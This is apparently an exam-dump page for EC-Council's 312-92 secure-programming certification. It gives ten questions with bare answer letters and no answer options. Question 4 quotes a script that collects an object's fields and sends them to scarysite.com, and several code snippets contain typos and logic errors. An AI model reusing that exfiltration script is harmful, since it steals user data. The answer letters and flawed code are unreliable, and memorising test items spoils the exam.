最新的EC-COUNCIL EC-Council Certified Secure Programmer v2 - 312-92免費考試真題

問題1
Kenny is the CIO for Fredrickson Entertainment, a gaming software company in Omaha.
The developers in Kenny's company have just finished creating a 3D first person shooter game that will be released to the market within the next couple of months. Kenny is trying to decide what type of license or activation code structure they should use for the game to prevent piracy and protect their product. Kenny decides to go with an approach that will allow each sold copy to be activated online up to five times because he knows his users might have multiple PCs or might need to reinstall the product at some point.
What type of activation policy has Kenny decided to go with?

正確答案: B
問題2
Devon is writing the following code to avoid what?
<script language="vb" runat="server">
Sub Application_BeginRequest(Sender as object, E as EventArgs)
If (Request.Path.Indexof(chr(92)) >= 0 OR _
System.IO.Path.GetFullPath
(Request.PhysicalPath) <> Request.PhysicalPath)
then
Throw New HttpException(404, "Not Found"
End If
End Sub
</script>

正確答案: C
問題3
What function can be used with SQL to encrypt user supplied-passwords to that they can be compared with the encrypted passwords stored on the SQL server?

正確答案: C
問題4
Travis, a senior systems developer for YNY Services, received an email recently from an unknown source. Instead of opening the email on his normal production machine, Travis decides to copy the email to a thumb drive and examine it from a quarantined PC not on the network. Travis examines the email and discovers a link that is supposed to take him to
http://scarysite.com. Travis decides to get back on his production computer and examine the code of that site.
From the following code snippet, what has Travis discovered?
<script>
function object() {
this.email setter = captureobject
}
function captureobject(x) {
var objstring = ""
for(fld in this) {
obstring += fld + ": " this[fld] + ", ";
}
obstring += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://scarysite.com?obj=" +
escape(objString), true);
req.send(null);
}
</script>

正確答案: B
問題5
Julie wants to use some of the Security and Trust Services API's for a program she is writing that will work with mobile devices. Which SATSA security package should Julie use if she needs to support basic user-certificate management?

正確答案: A
問題6
What encryption algorithm is used by PERL crypt() function?

正確答案: D
問題7
Shayla is designing a web-based application that will pass data to and from a company extranet. This data is very sensitive and must be protected at all costs. Shayla will use a digital certificate and a digital signature to protect the data. The digital signature she has chosen to use is based on the difficulty in computing discrete logarithms. Which digital signature has she chosen?

正確答案: C
問題8
What is the new lightweight audit framework that is built into Red Hat Linux Enterprise?

正確答案: B
問題9
What type of encryption will be used from the following code?
Dim Publickey As Byte() = {214,46,220,83,160,73,40,39,201
155,19,202,3,11,191,178,56,74,90,36,248,103,
18,144,170,163,145,87,54,61,34,220,222,207,
137,149,173,14,92,120,206,222,158,28,40,24,
30,16,175,108,128,35,203,118,40,121,113,125,
216,130,11,24,9,0,48,194,240,105,44,76,34,57,
249,228,125,80,38,9,136,29,117,207,139,168,181,
85,137,126,10,126,242,120,247,121,8,100,12,201,
171,38,226,193,180,190,117,177,87,143,242,213,
11,44,18,0,113,93,106,99,179,68,175,211,164,116,
64,148,226,254,172,147}
Dim Exponent As Byte() = {1,0,1}
Dim Encrypted SymmetricKey() As Byte
Dim Encrypted SymmetricIV() As Byte
Dim RSA as New RSACryptoServiceProvider()
Dim RSAKeyInfo As New RSAParameters()
RSAKeyInfo.Modules = PublicKey
RSAKeyInfo.Exponent = Exponent
RSA.ImportParameters(RSAKeyInfo)
Dim RM As New RijendaelManaged()
EncryptedSymmetricKey = RSA.Encrypt(RM.Key,False)
EncryptedSymmetricIV = RSA.Encrypt(RM.Key,False)

正確答案: A
問題10
Cylie is the Oracle DBA for her company and now wants to track all actions on her Oracle server using auditing. What file should Cylie insert the following line into?
audit_trail = true

正確答案: B